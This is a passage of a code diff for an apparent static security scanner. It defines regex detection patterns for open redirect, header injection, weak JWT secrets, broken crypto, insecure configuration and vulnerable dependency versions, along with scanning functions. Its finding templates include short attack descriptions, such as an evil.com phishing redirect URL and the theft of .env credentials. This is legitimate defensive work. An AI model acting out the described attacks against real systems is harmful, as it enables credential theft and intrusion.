+ description: 'Redirect with user-controlled URL — open redirect vector',
669
+ exploitation: 'Attacker crafts phishing URL: yoursite.com/redirect?url=evil.com/login to steal credentials',
670
+ },
671
+ // Header Injection
672
+ {
673
+ name: 'HTTP Header Injection',
674
+ category: 'Header Injection',
675
+ pattern: /(?:res\.setHeader|res\.header|response\.setHeader|set_header)\s*\(\s*[^,]+,\s*(?:req\.|params\.|query\.|body\.|args\.|input|user)/gi,
676
+ severity: 'high',
677
+ cwe: 'CWE-113',
678
+ description: 'HTTP header set with user-controlled value',
679
+ exploitation: 'Attacker injects CRLF to add arbitrary headers or split the response for cache poisoning',
680
+ },
681
+ // Regex DoS
682
+ {
683
+ name: 'Regex DoS (ReDoS)',
684
+ category: 'ReDoS',
685
+ pattern: /new\s+RegExp\s*\(\s*(?:req\.|params\.|query\.|body\.|args\.|input|user)/gi,
686
+ severity: 'medium',
687
+ cwe: 'CWE-1333',
688
+ description: 'Regular expression constructed from user input — ReDoS vector',
689
+ exploitation: 'Attacker crafts catastrophic backtracking regex input to cause CPU exhaustion (denial of service)',
690
+ },
691
+ ];
692
+ const AUTH_PATTERNS = [
693
+ {
694
+ name: 'Hardcoded JWT Secret',
695
+ pattern: /(?:jwt\.sign|jwt\.verify|jsonwebtoken\.sign)\s*\([^)]*,\s*['"][^'"]{4,}['"]/gi,
696
+ severity: 'critical',
697
+ cwe: 'CWE-798',
698
+ description: 'JWT signed/verified with hardcoded secret — compromise affects all tokens',
699
+ },
700
+ {
701
+ name: 'Weak JWT Secret',
702
+ pattern: /(?:JWT_SECRET|jwt_secret|jwtSecret)\s*[=:]\s*['"](?:secret|password|123|test|dev|admin|key)['"]/gi,
703
+ severity: 'critical',
704
+ cwe: 'CWE-798',
705
+ description: 'JWT secret is a weak/default value — trivially guessable',
706
+ },
707
+ {
708
+ name: 'JWT None Algorithm',
709
+ pattern: /(?:algorithm|algorithms)\s*[=:]\s*(?:\[?\s*['"]none['"]|\['none')/gi,
710
+ severity: 'critical',
711
+ cwe: 'CWE-327',
712
+ description: 'JWT allows "none" algorithm — tokens can be forged without a key',
713
+ },
714
+ {
715
+ name: 'Missing Auth Middleware (Express)',
716
+ pattern: /(?:app|router)\.(?:get|post|put|patch|delete)\s*\(\s*['"][^'"]*(?:admin|user|account|profile|settings|dashboard|api\/v)[^'"]*['"]\s*,\s*(?:async\s+)?\(?(?:req|request)/gi,
717
+ antiPattern: /(?:auth|authenticate|isAuthenticated|requireAuth|protect|guard|verify|middleware|passport)/gi,
718
+ severity: 'high',
719
+ cwe: 'CWE-306',
720
+ description: 'Route handler for sensitive endpoint without visible auth middleware',
721
+ },
722
+ {
723
+ name: 'Missing Rate Limiting',
724
+ pattern: /(?:app|router)\.(?:post)\s*\(\s*['"][^'"]*(?:login|signin|auth|register|signup|reset|forgot|verify|otp|2fa|token)[^'"]*['"]/gi,
725
+ antiPattern: /(?:rateLimit|rateLimiter|limiter|throttle|slowDown|express-rate-limit|rate_limit)/gi,
726
+ severity: 'medium',
727
+ cwe: 'CWE-307',
728
+ description: 'Auth-related POST endpoint without visible rate limiting',
729
+ },
730
+ {
731
+ name: 'Insecure Cookie (no httpOnly)',
732
+ pattern: /(?:res\.cookie|set-cookie|setCookie)\s*\([^)]*(?!httpOnly)/gi,
733
+ severity: 'medium',
734
+ cwe: 'CWE-1004',
735
+ description: 'Cookie set without httpOnly flag — accessible to JavaScript (XSS can steal it)',
736
+ },
737
+ {
738
+ name: 'Insecure Cookie (no secure flag)',
739
+ pattern: /(?:res\.cookie|setCookie)\s*\(\s*[^)]*(?:httpOnly|HttpOnly)[^)]*(?!secure)/gi,
740
+ severity: 'medium',
741
+ cwe: 'CWE-614',
742
+ description: 'Cookie without secure flag — transmitted over unencrypted HTTP',
743
+ },
744
+ {
745
+ name: 'Session Fixation',
746
+ pattern: /(?:req\.session|session)\s*=\s*(?:req\.query|req\.params|req\.body)/gi,
747
+ severity: 'high',
748
+ cwe: 'CWE-384',
749
+ description: 'Session assigned from user input — session fixation vulnerability',
750
+ },
751
+ {
752
+ name: 'Missing CSRF Protection',
753
+ pattern: /(?:app\.post|router\.post)\s*\(\s*['"][^'"]*(?:transfer|payment|delete|update|change|submit)[^'"]*['"]/gi,
754
+ antiPattern: /(?:csrf|csrfToken|csurf|_csrf|xsrf|CSRF)/gi,
755
+ severity: 'medium',
756
+ cwe: 'CWE-352',
757
+ description: 'State-changing POST endpoint without visible CSRF protection',
758
+ },
759
+ {
760
+ name: 'Weak Password Validation',
761
+ pattern: /(?:password|passwd)\.(?:length|trim)\s*(?:>=?|<=?|===?|!==?)\s*(?:[1-5])\b/gi,
762
+ severity: 'medium',
763
+ cwe: 'CWE-521',
764
+ description: 'Password length requirement too short (should be >= 8, preferably >= 12)',
765
+ },
766
+ {
767
+ name: 'Basic Auth over HTTP',
768
+ pattern: /(?:Authorization|authorization)\s*[=:]\s*['"]Basic\s/g,
769
+ severity: 'high',
770
+ cwe: 'CWE-319',
771
+ description: 'Basic authentication — credentials sent in base64 (easily decoded)',
772
+ },
773
+ {
774
+ name: 'Disabled Auth Check',
775
+ pattern: /(?:\/\/\s*TODO|\/\/\s*FIXME|\/\/\s*HACK|\/\/\s*TEMPORARY)\s*.*(?:auth|authentication|authorization)/gi,
776
+ severity: 'medium',
777
+ cwe: 'CWE-306',
778
+ description: 'Commented-out or TODO auth check — likely a security gap',
779
+ },
780
+ ];
781
+ const CRYPTO_PATTERNS = [
782
+ {
783
+ name: 'MD5 for Password Hashing',
784
+ pattern: /(?:createHash|hashlib\.md5|MD5|md5)\s*\(\s*['"]?md5['"]?\s*\)?\s*\.?(?:update|digest|hexdigest)?\s*\(?[^)]*(?:password|passwd|pass|pwd)/gi,
785
+ severity: 'critical',
786
+ cwe: 'CWE-328',
787
+ description: 'MD5 used for password hashing — cryptographically broken, rainbow table attacks trivial',
788
+ },
789
+ {
790
+ name: 'MD5 Usage (general)',
791
+ pattern: /(?:createHash\s*\(\s*['"]md5['"]\)|hashlib\.md5|MD5\s*\(|\.md5\s*\()/gi,
792
+ severity: 'medium',
793
+ cwe: 'CWE-328',
794
+ description: 'MD5 usage detected — broken hash function, not suitable for security purposes',
795
+ },
796
+ {
797
+ name: 'SHA1 for Password Hashing',
798
+ pattern: /(?:createHash|hashlib\.sha1|SHA1|sha1)\s*\(\s*['"]?sha1['"]?\s*\)?\s*\.?(?:update|digest|hexdigest)?\s*\(?[^)]*(?:password|passwd|pass|pwd)/gi,
799
+ severity: 'critical',
800
+ cwe: 'CWE-328',
801
+ description: 'SHA1 used for password hashing — cryptographically weakened, use bcrypt/argon2',
802
+ },
803
+ {
804
+ name: 'SHA1 Usage (general)',
805
+ pattern: /(?:createHash\s*\(\s*['"]sha1['"]\)|hashlib\.sha1|SHA1\s*\(|\.sha1\s*\()/gi,
806
+ severity: 'low',
807
+ cwe: 'CWE-328',
808
+ description: 'SHA1 usage detected — weakened hash function, consider SHA-256+',
809
+ },
810
+ {
811
+ name: 'ECB Mode',
812
+ pattern: /(?:ECB|ecb|AES\.MODE_ECB|mode:\s*['"]ecb['"]|cipher\s*=.*ecb)/gi,
813
+ severity: 'high',
814
+ cwe: 'CWE-327',
815
+ description: 'ECB mode encryption — identical plaintext blocks produce identical ciphertext (pattern leakage)',
816
+ },
817
+ {
818
+ name: 'Hardcoded Encryption Key',
819
+ pattern: /(?:createCipher|createCipheriv|AES\.new|Cipher|encrypt)\s*\(\s*['"][^'"]{8,}['"]/gi,
820
+ severity: 'critical',
821
+ cwe: 'CWE-321',
822
+ description: 'Encryption key hardcoded in source — compromise of source = compromise of all encrypted data',
823
+ },
824
+ {
825
+ name: 'Hardcoded IV/Nonce',
826
+ pattern: /(?:iv|nonce|IV|NONCE)\s*[=:]\s*(?:Buffer\.from\s*\(\s*)?['"][^'"]{8,}['"]/gi,
827
+ severity: 'high',
828
+ cwe: 'CWE-329',
829
+ description: 'Hardcoded initialization vector — IV reuse breaks encryption security',
830
+ },
831
+ {
832
+ name: 'Math.random() for Security',
833
+ pattern: /Math\.random\s*\(\s*\)\s*.*(?:token|key|secret|password|salt|nonce|iv|session|csrf|random.*id|uuid)/gi,
834
+ severity: 'high',
835
+ cwe: 'CWE-338',
836
+ description: 'Math.random() used for security-sensitive value — predictable PRNG',
837
+ },
838
+ {
839
+ name: 'Math.random() General',
840
+ pattern: /Math\.random\s*\(\s*\)/g,
841
+ severity: 'low',
842
+ cwe: 'CWE-338',
843
+ description: 'Math.random() usage — not cryptographically secure (use crypto.randomBytes for security)',
844
+ },
845
+ {
846
+ name: 'Weak Key Size',
847
+ pattern: /(?:generateKey|createDiffieHellman|RSA|rsa)\s*\(\s*(?:512|768|1024)\b/gi,
848
+ severity: 'high',
849
+ cwe: 'CWE-326',
850
+ description: 'Weak cryptographic key size — 1024-bit RSA is breakable, use >= 2048',
851
+ },
852
+ {
853
+ name: 'DES/3DES Usage',
854
+ pattern: /(?:DES|des|3DES|TripleDES|DESede|createCipher\s*\(\s*['"]des)/gi,
855
+ severity: 'high',
856
+ cwe: 'CWE-327',
857
+ description: 'DES/3DES encryption — deprecated and weak, use AES-256',
858
+ },
859
+ {
860
+ name: 'RC4 Usage',
861
+ pattern: /(?:RC4|rc4|ARC4|ARCFOUR|createCipher\s*\(\s*['"]rc4)/gi,
862
+ severity: 'high',
863
+ cwe: 'CWE-327',
864
+ description: 'RC4 stream cipher — multiple known vulnerabilities, completely broken',
865
+ },
866
+ {
867
+ name: 'Deprecated createCipher',
868
+ pattern: /createCipher\s*\(\s*['"](?!aes-256-gcm)/gi,
869
+ severity: 'medium',
870
+ cwe: 'CWE-327',
871
+ description: 'crypto.createCipher is deprecated — use createCipheriv with explicit IV',
872
+ },
873
+ {
874
+ name: 'No Salt in Hashing',
875
+ pattern: /(?:createHash|hashlib)\s*\(\s*['"]sha(?:256|384|512)['"]\s*\)\s*\.update\s*\(\s*(?:password|passwd|pass|pwd)/gi,
876
+ severity: 'high',
877
+ cwe: 'CWE-916',
878
+ description: 'Password hashed without salt — vulnerable to rainbow table attacks',
879
+ },
880
+ {
881
+ name: 'Bcrypt Low Rounds',
882
+ pattern: /(?:bcrypt|argon2).*(?:rounds?|cost|saltRounds)\s*[=:]\s*(?:[1-9]|10)\b/gi,
883
+ severity: 'medium',
884
+ cwe: 'CWE-916',
885
+ description: 'Password hashing with too few rounds — increase to at least 12 for bcrypt',
886
+ },
887
+ ];
888
+ const CONFIG_PATTERNS = [
889
+ {
890
+ name: 'Debug Mode Enabled',
891
+ pattern: /(?:DEBUG|debug)\s*[=:]\s*(?:true|1|['"]true['"]|['"]1['"])/g,
892
+ severity: 'medium',
893
+ cwe: 'CWE-489',
894
+ description: 'Debug mode enabled — may expose verbose errors, stack traces, or internal state',
895
+ },
896
+ {
897
+ name: 'CORS Wildcard',
898
+ pattern: /(?:Access-Control-Allow-Origin|cors|CORS|allowOrigin|origin)\s*[=:]\s*['"]?\*/g,
899
+ severity: 'high',
900
+ cwe: 'CWE-942',
901
+ description: 'CORS allows all origins (*) — any website can make authenticated requests',
902
+ },
903
+ {
904
+ name: 'CORS Credentials with Wildcard',
905
+ pattern: /(?:Access-Control-Allow-Credentials|credentials)\s*[=:]\s*(?:true|['"]true['"])/g,
906
+ severity: 'high',
907
+ cwe: 'CWE-942',
908
+ description: 'CORS allows credentials — combined with permissive origin, enables session hijacking',
909
+ },
910
+ {
911
+ name: 'Missing Security Headers',
912
+ pattern: /(?:helmet|Helmet|security-headers|X-Content-Type-Options|X-Frame-Options|Strict-Transport-Security)/g,
913
+ severity: 'info',
914
+ cwe: 'CWE-693',
915
+ description: 'Security header configuration detected (positive finding)',
916
+ },
917
+ {
918
+ name: 'Default Credentials',
919
+ pattern: /(?:username|user|admin|root)\s*[=:]\s*['"](?:admin|root|test|user|default|password|guest|demo)['"].*(?:password|passwd|pass|pwd)\s*[=:]\s*['"](?:admin|root|test|password|pass|123456|default|guest|demo)['"]/gi,
920
+ severity: 'critical',
921
+ cwe: 'CWE-798',
922
+ description: 'Default/test credentials in source code',
923
+ },
924
+ {
925
+ name: 'Verbose Error Messages',
926
+ pattern: /(?:res\.(?:send|json|status)\s*\(\s*(?:500|400|401|403|404|422)\s*\)\s*\.(?:send|json)\s*\(\s*(?:err|error)\.(?:stack|message)|catch\s*\(\s*(?:err|error|e)\s*\)\s*\{[^}]*(?:res\.send|res\.json)\s*\(\s*(?:err|error|e)(?:\.stack|\.message)?)/gi,
927
+ severity: 'medium',
928
+ cwe: 'CWE-209',
929
+ description: 'Error details sent to client — may leak stack traces, file paths, or internal info',
930
+ },
931
+ {
932
+ name: 'Stack Trace in Response',
933
+ pattern: /(?:err|error|e)\.stack\s*.*(?:res\.send|res\.json|response\.send|response\.json|return|send)/gi,
934
+ severity: 'medium',
935
+ cwe: 'CWE-209',
936
+ description: 'Stack trace sent in response — reveals internal file paths and code structure',
937
+ },
938
+ {
939
+ name: 'Source Maps in Production',
940
+ pattern: /(?:sourcemap|sourceMap|source-map)\s*[=:]\s*(?:true|['"]true['"]|['"]inline['"])/gi,
941
+ severity: 'low',
942
+ cwe: 'CWE-540',
943
+ description: 'Source maps enabled — may expose original source code in production',
944
+ },
945
+ {
946
+ name: 'Directory Listing Enabled',
947
+ pattern: /(?:serveIndex|directory-listing|autoindex|Options\s+Indexes)/gi,
948
+ severity: 'medium',
949
+ cwe: 'CWE-548',
950
+ description: 'Directory listing enabled — exposes file structure to attackers',
951
+ },
952
+ {
953
+ name: 'X-Powered-By Header',
954
+ pattern: /(?:X-Powered-By|x-powered-by|poweredBy)/g,
955
+ severity: 'low',
956
+ cwe: 'CWE-200',
957
+ description: 'X-Powered-By header leaks server technology — aids fingerprinting',
958
+ },
959
+ {
960
+ name: 'Insecure TLS Version',
961
+ pattern: /(?:TLSv1\.0|TLSv1\.1|SSLv2|SSLv3|ssl_protocols\s+.*TLSv1(?:\.0|\.1)?|minVersion\s*[=:]\s*['"]TLSv1(?:\.0|\.1)?['"])/gi,
962
+ severity: 'high',
963
+ cwe: 'CWE-327',
964
+ description: 'Insecure TLS/SSL version — TLS 1.0/1.1 and SSLv2/v3 have known vulnerabilities',
965
+ },
966
+ {
967
+ name: 'HTTP (not HTTPS)',
968
+ pattern: /(?:http:\/\/(?!localhost|127\.0\.0\.1|0\.0\.0\.0|::1|\[::1\]|example\.com))[a-zA-Z0-9.-]+/g,
969
+ severity: 'low',
970
+ cwe: 'CWE-319',
971
+ description: 'HTTP URL detected — traffic is unencrypted',
972
+ },
973
+ {
974
+ name: 'Permissive File Upload',
975
+ pattern: /(?:multer|formidable|busboy|express-fileupload).*(?!fileFilter|limits)/gi,
976
+ severity: 'medium',
977
+ cwe: 'CWE-434',
978
+ description: 'File upload without visible file type or size filtering',
979
+ },
980
+ {
981
+ name: 'GraphQL Introspection Enabled',
982
+ pattern: /(?:introspection\s*:\s*true|enableIntrospection)/gi,
983
+ severity: 'low',
984
+ cwe: 'CWE-200',
985
+ description: 'GraphQL introspection enabled — exposes full API schema to attackers',
986
+ },
987
+ {
988
+ name: 'Disabled Security Feature',
989
+ pattern: /(?:rejectUnauthorized|strictSSL|verify_ssl|VERIFY_SSL)\s*[=:]\s*(?:false|0)/gi,
990
+ severity: 'high',
991
+ cwe: 'CWE-295',
992
+ description: 'SSL/TLS certificate verification disabled — vulnerable to MITM attacks',
993
+ },
994
+ {
995
+ name: 'Admin Panel Exposed',
996
+ pattern: /(?:\/admin|\/dashboard|\/manage|\/panel|\/control)(?:['"]|\s|$)/gi,
997
+ severity: 'low',
998
+ cwe: 'CWE-200',
999
+ description: 'Admin panel route detected — ensure authentication and access control',
1000
+ },
1001
+ ];
1002
+ const DEP_PATTERNS = [
1003
+ {
1004
+ name: 'Lodash Prototype Pollution',
1005
+ pattern: /"lodash"\s*:\s*"[<^~]?[0-3]\./g,
1006
+ severity: 'critical',
1007
+ description: 'Lodash < 4.x has prototype pollution vulnerabilities (CVE-2018-16487)',
1008
+ },
1009
+ {
1010
+ name: 'Express < 4.17.3',
1011
+ pattern: /"express"\s*:\s*"[<^~]?4\.(?:1[0-6]|[0-9])\./g,
1012
+ severity: 'high',
1013
+ description: 'Express < 4.17.3 has open redirect vulnerability (CVE-2022-24999)',
1014
+ },
1015
+ {
1016
+ name: 'Axios SSRF',
1017
+ pattern: /"axios"\s*:\s*"[<^~]?0\.(?:2[0-1]|1\d|[0-9])\./g,
1018
+ severity: 'high',
1019
+ description: 'Axios < 0.22.0 follows redirects to internal hosts (SSRF)',
1020
+ },
1021
+ {
1022
+ name: 'jsonwebtoken < 9',
1023
+ pattern: /"jsonwebtoken"\s*:\s*"[<^~]?[0-8]\./g,
1024
+ severity: 'high',
1025
+ description: 'jsonwebtoken < 9.0.0 has algorithm confusion vulnerability',
1026
+ },
1027
+ {
1028
+ name: 'node-fetch SSRF',
1029
+ pattern: /"node-fetch"\s*:\s*"[<^~]?[12]\./g,
1030
+ severity: 'medium',
1031
+ description: 'node-fetch < 3.x has redirect-based SSRF issues',
1032
+ },
1033
+ {
1034
+ name: 'Minimatch ReDoS',
1035
+ pattern: /"minimatch"\s*:\s*"[<^~]?[0-2]\./g,
1036
+ severity: 'medium',
1037
+ description: 'minimatch < 3.0.5 has ReDoS vulnerability',
1038
+ },
1039
+ {
1040
+ name: 'tar Path Traversal',
1041
+ pattern: /"tar"\s*:\s*"[<^~]?[0-5]\./g,
1042
+ severity: 'high',
1043
+ description: 'tar < 6.x has path traversal vulnerability (CVE-2021-32803)',
1044
+ },
1045
+ {
1046
+ name: 'Underscore Arbitrary Code Execution',
1047
+ pattern: /"underscore"\s*:\s*"[<^~]?1\.(?:1[0-2]|[0-9])\./g,
1048
+ severity: 'high',
1049
+ description: 'Underscore < 1.13.6 has arbitrary code execution via template()',
1050
+ },
1051
+ {
1052
+ name: 'Shell.js Command Injection',
1053
+ pattern: /"shelljs"\s*:\s*"[<^~]?0\.[0-7]\./g,
1054
+ severity: 'high',
1055
+ description: 'shelljs < 0.8.5 has command injection vulnerability',
1056
+ },
1057
+ {
1058
+ name: 'Handlebars Prototype Pollution',
1059
+ pattern: /"handlebars"\s*:\s*"[<^~]?[0-3]\./g,
1060
+ severity: 'high',
1061
+ description: 'Handlebars < 4.7.7 has prototype pollution (CVE-2021-23369)',
1062
+ },
1063
+ {
1064
+ name: 'Moment.js ReDoS',
1065
+ pattern: /"moment"\s*:\s*"[<^~]?2\.(?:2[0-8]|1\d|[0-9])\./g,
1066
+ severity: 'medium',
1067
+ description: 'moment < 2.29.4 has ReDoS vulnerability in date parsing',
1068
+ },
1069
+ {
1070
+ name: 'dot-prop Prototype Pollution',
1071
+ pattern: /"dot-prop"\s*:\s*"[<^~]?[0-4]\./g,
1072
+ severity: 'high',
1073
+ description: 'dot-prop < 5.1.1 has prototype pollution vulnerability',
1074
+ },
1075
+ ];
1076
+ // ── Scanning Functions ─────────────────────────────────────────────────────────
1077
+ function scanSecrets(files, baseDir) {
1078
+ const findings = [];
1079
+ let findingId = 0;
1080
+ for (const file of files) {
1081
+ const relPath = relative(baseDir, file.path);
1082
+ // Check if this is a .env file that should not be committed
1083
+ const basename = file.path.split('/').pop() || '';
1084
+ if (basename.startsWith('.env') && basename !== '.env.example' && basename !== '.env.template') {
1085
+ findings.push({
1086
+ id: `SEC-${++findingId}`,
1087
+ severity: 'critical',
1088
+ category: 'Secrets',
1089
+ title: 'Environment File in Source',
1090
+ description: `.env file found in repository — likely contains secrets`,
1091
+ file: relPath,
1092
+ line: 1,
1093
+ evidence: `File: ${basename} (${file.lines.length} lines)`,
1094
+ exploitation: 'Attacker reads .env to obtain database credentials, API keys, and internal service URLs',
1095
+ cwe: 'CWE-538',
1096
+ remediation: 'Add to .gitignore, rotate all secrets, use .env.example for templates',
1097
+ });
1098
+ }
1099
+ for (const pattern of SECRET_PATTERNS) {
1100
+ // Special handling: env var pattern only for .env files
1101
+ if (pattern.name === 'Env File in Source' && !basename.startsWith('.env'))
1102
+ continue;
1103
+ if (pattern.name !== 'Env File in Source' && basename.startsWith('.env')) {
1104
+ // .env files checked above, skip generic patterns for them to avoid noise
1105
+ }
1106
+ for (let i = 0; i < file.lines.length; i++) {
1107
+ const line = file.lines[i];
1108
+ // Skip comments
1109
+ const trimmed = line.trim();
1110
+ if (trimmed.startsWith('//') || trimmed.startsWith('#') || trimmed.startsWith('*') || trimmed.startsWith('/*')) {
1111
+ // Unless the comment itself contains a secret (people paste keys in comments)
1112
+ if (!pattern.pattern.test(line))
1113
+ continue;
1114
+ }
1115
+ // Skip test/example files for some patterns
1116
+ if (relPath.includes('.test.') || relPath.includes('.spec.') || relPath.includes('__test__')) {
1117
+ if (pattern.severity === 'medium' || pattern.severity === 'low')
1118
+ continue;
1119
+ }
1120
+ // Reset regex lastIndex
1121
+ pattern.pattern.lastIndex = 0;
1122
+ const match = pattern.pattern.exec(line);
1123
+ if (match) {
1124
+ // Avoid false positives: skip if line looks like a type definition or import
1125
+ if (/^(?:import|export|type|interface|const\s+\w+\s*:\s*string|\/\/|#|\*|\/\*)/.test(trimmed)) {
1126
+ // But still flag if it has an actual secret value
1127
+ if (!/[=:]\s*['"][^'"]{10,}['"]/.test(line) && !line.includes('-----BEGIN'))
1128
+ continue;
1129
+ }
1130
+ // Mask the evidence to avoid leaking the actual secret in reports
1131
+ const evidence = maskSecret(line.trim(), match[0]);
1132
+ findings.push({
1133
+ id: `SEC-${++findingId}`,
1134
+ severity: pattern.severity,
1135
+ category: 'Secrets',
1136
+ title: pattern.name,
1137
+ description: pattern.description,
1138
+ file: relPath,
1139
+ line: i + 1,
1140
+ evidence,
1141
+ exploitation: `Attacker uses leaked ${pattern.name.toLowerCase()} to access protected resources, impersonate services, or exfiltrate data`,
1142
+ cwe: pattern.cwe,
1143
+ remediation: 'Move to environment variables, rotate the compromised credential, add file to .gitignore',
1144
+ });
1145
+ }
1146
+ }
1147
+ }
1148
+ }
1149
+ return findings;
1150
+ }
1151
+ function maskSecret(line, matched) {
1152
+ if (matched.length <= 8)
1153
+ return line;
1154
+ const visible = matched.slice(0, 4);
1155
+ const masked = visible + '*'.repeat(Math.min(matched.length - 4, 20));
1156
+ return line.replace(matched, masked);
1157
+ }
1158
+ function scanInjection(files, baseDir) {
1159
+ const findings = [];
1160
+ let findingId = 0;
1161
+ for (const file of files) {
1162
+ const relPath = relative(baseDir, file.path);
1163
+ // Skip non-code files
1164
+ const codeExts = new Set(['.ts', '.js', '.tsx', '.jsx', '.py', '.rb', '.go', '.java', '.php', '.rs', '.c', '.cpp', '.cs', '.mjs', '.cjs']);
1165
+ if (!codeExts.has(file.ext))
1166
+ continue;
1167
+ for (const pattern of INJECTION_PATTERNS) {
1168
+ for (let i = 0; i < file.lines.length; i++) {
1169
+ const line = file.lines[i];
1170
+ const trimmed = line.trim();
1171
+ // Skip comments
1172
+ if (trimmed.startsWith('//') || trimmed.startsWith('#') || trimmed.startsWith('*'))
1173
+ continue;
1174
+ // Reset regex
1175
+ pattern.pattern.lastIndex = 0;
1176
+ if (pattern.pattern.test(line)) {
1177
+ // Extra context: check surrounding lines for sanitization
1178
+ const contextBefore = file.lines.slice(Math.max(0, i - 5), i).join('\n');
1179
+ const contextAfter = file.lines.slice(i + 1, Math.min(file.lines.length, i + 3)).join('\n');
1180
+ const context = contextBefore + '\n' + line + '\n' + contextAfter;
1181
+ // Look for sanitization indicators to reduce false positives
1182
+ const sanitized = /(?:sanitize|escape|encode|validate|zod|joi|yup|ajv|parameterized|prepared|placeholder|\$[0-9]+|%s)/i.test(context);
1183
+ const effectiveSeverity = sanitized ? lowerSeverity(pattern.severity) : pattern.severity;
1184
+ findings.push({
1185
+ id: `INJ-${++findingId}`,
1186
+ severity: effectiveSeverity,
1187
+ category: pattern.category,
1188
+ title: pattern.name,
1189
+ description: pattern.description,
1190
+ file: relPath,
1191
+ line: i + 1,
1192
+ evidence: trimmed.slice(0, 200),
1193
+ exploitation: pattern.exploitation,
1194
+ cwe: pattern.cwe,
1195
+ remediation: getInjectionRemediation(pattern.category),
1196
+ });
1197
+ }
1198
+ }
1199
+ }
1200
+ }
1201
+ return findings;
1202
+ }
1203
+ function scanAuth(files, baseDir) {
1204
+ const findings = [];
1205
+ let findingId = 0;
1206
+ for (const file of files) {
1207
+ const relPath = relative(baseDir, file.path);
1208
+ const codeExts = new Set(['.ts', '.js', '.tsx', '.jsx', '.py', '.rb', '.go', '.java', '.php', '.mjs', '.cjs']);
1209
+ if (!codeExts.has(file.ext))
1210
+ continue;
1211
+ for (const pattern of AUTH_PATTERNS) {
1212
+ for (let i = 0; i < file.lines.length; i++) {
1213
+ const line = file.lines[i];
1214
+ const trimmed = line.trim();
1215
+ if (trimmed.startsWith('//') || trimmed.startsWith('#') || trimmed.startsWith('*'))
1216
+ continue;
1217
+ pattern.pattern.lastIndex = 0;
1218
+ if (pattern.pattern.test(line)) {
1219
+ // Check anti-pattern (presence means likely already mitigated)
1220
+ if (pattern.antiPattern) {
1221
+ const context = file.lines.slice(Math.max(0, i - 10), Math.min(file.lines.length, i + 10)).join('\n');
1222
+ pattern.antiPattern.lastIndex = 0;
1223
+ if (pattern.antiPattern.test(context))
1224
+ continue;
1225
+ }
1226
+ findings.push({
1227
+ id: `AUTH-${++findingId}`,
1228
+ severity: pattern.severity,
1229
+ category: 'Authentication',
1230
+ title: pattern.name,
1231
+ description: pattern.description,
1232
+ file: relPath,
1233
+ line: i + 1,
1234
+ evidence: trimmed.slice(0, 200),
1235
+ exploitation: `Attacker exploits ${pattern.name.toLowerCase()} to bypass authentication, escalate privileges, or hijack sessions`,
1236
+ cwe: pattern.cwe,
1237
+ remediation: getAuthRemediation(pattern.name),
1238
+ });
1239
+ }
1240
+ }
1241
+ }
1242
+ }
1243
+ return findings;
1244
+ }
1245
+ function scanCrypto(files, baseDir) {
1246
+ const findings = [];
1247
+ let findingId = 0;
1248
+ for (const file of files) {
1249
+ const relPath = relative(baseDir, file.path);
1250
+ const codeExts = new Set(['.ts', '.js', '.tsx', '.jsx', '.py', '.rb', '.go', '.java', '.php', '.rs', '.c', '.cpp', '.cs', '.mjs', '.cjs']);
1251
+ if (!codeExts.has(file.ext))
1252
+ continue;
1253
+ for (const pattern of CRYPTO_PATTERNS) {
1254
+ for (let i = 0; i < file.lines.length; i++) {
1255
+ const line = file.lines[i];
1256
+ const trimmed = line.trim();
1257
+ if (trimmed.startsWith('//') || trimmed.startsWith('#') || trimmed.startsWith('*'))
1258
+ continue;
1259
+ pattern.pattern.lastIndex = 0;
1260
+ if (pattern.pattern.test(line)) {
1261
+ findings.push({
1262
+ id: `CRYPTO-${++findingId}`,
1263
+ severity: pattern.severity,
1264
+ category: 'Cryptography',
1265
+ title: pattern.name,
1266
+ description: pattern.description,
1267
+ file: relPath,
1268
+ line: i + 1,
1269
+ evidence: trimmed.slice(0, 200),
1270
+ exploitation: `Attacker exploits weak cryptography: ${pattern.description}`,
1271
+ cwe: pattern.cwe,
1272
+ remediation: getCryptoRemediation(pattern.name),
1273
+ });
1274
+ }
1275
+ }
1276
+ }
1277
+ }
1278
+ return findings;
1279
+ }
1280
+ function scanConfig(files, baseDir) {
1281
+ const findings = [];
1282
+ let findingId = 0;
1283
+ for (const file of files) {
1284
+ const relPath = relative(baseDir, file.path);
1285
+ for (const pattern of CONFIG_PATTERNS) {
1286
+ for (let i = 0; i < file.lines.length; i++) {
1287
+ const line = file.lines[i];
1288
+ const trimmed = line.trim();
1289
+ if (trimmed.startsWith('//') || trimmed.startsWith('#') || trimmed.startsWith('*'))
1290
+ continue;
1291
+ pattern.pattern.lastIndex = 0;
1292
+ if (pattern.pattern.test(line)) {
1293
+ // Skip positive findings (info severity for detected mitigations)
1294
+ if (pattern.severity === 'info' && pattern.name === 'Missing Security Headers')
1295
+ continue;
1296
+ findings.push({
1297
+ id: `CFG-${++findingId}`,
1298
+ severity: pattern.severity,
1299
+ category: 'Configuration',
1300
+ title: pattern.name,
1301
+ description: pattern.description,
1302
+ file: relPath,
1303
+ line: i + 1,
1304
+ evidence: trimmed.slice(0, 200),
1305
+ exploitation: `Attacker leverages misconfiguration: ${pattern.description}`,
1306
+ cwe: pattern.cwe,
1307
+ remediation: getConfigRemediation(pattern.name),
1308
+ });
1309
+ }
1310
+ }
1311
+ }
1312
+ }
1313
+ return findings;
1314
+ }
1315
+ function scanDeps(files, baseDir) {
1316
+ const findings = [];
1317
+ let findingId = 0;
1318
+ // Only scan package.json files
1319
+ const pkgFiles = files.filter(f => f.path.endsWith('package.json'));
1320
+ for (const file of pkgFiles) {
1321
+ const relPath = relative(baseDir, file.path);
1322
+ for (const pattern of DEP_PATTERNS) {
1323
+ pattern.pattern.lastIndex = 0;
1324
+ const match = pattern.pattern.exec(file.content);
1325
+ if (match) {
1326
+ const lineIndex = file.content.slice(0, match.index).split('\n').length;
1327
+ findings.push({
1328
+ id: `DEP-${++findingId}`,
1329
+ severity: pattern.severity,
1330
+ category: 'Dependencies',
1331
+ title: pattern.name,
1332
+ description: pattern.description,
1333
+ file: relPath,
1334
+ line: lineIndex,
1335
+ evidence: match[0].trim(),
1336
+ exploitation: `Attacker exploits known vulnerability in dependency: ${pattern.description}`,
1337
+ remediation: 'Update to the latest patched version. Run npm audit fix or equivalent.',
1338
+ });
1339
+ }
1340
+ }
1341
+ // Check for lack of lockfile
1342
+ const lockFile = file.path.replace('package.json', 'package-lock.json');
1343
+ const yarnLock = file.path.replace('package.json', 'yarn.lock');
1344
+ const pnpmLock = file.path.replace('package.json', 'pnpm-lock.yaml');
1345
+ if (!existsSync(lockFile) && !existsSync(yarnLock) && !existsSync(pnpmLock)) {
1346
+ findings.push({
1347
+ id: `DEP-${++findingId}`,
1348
+ severity: 'medium',
1349
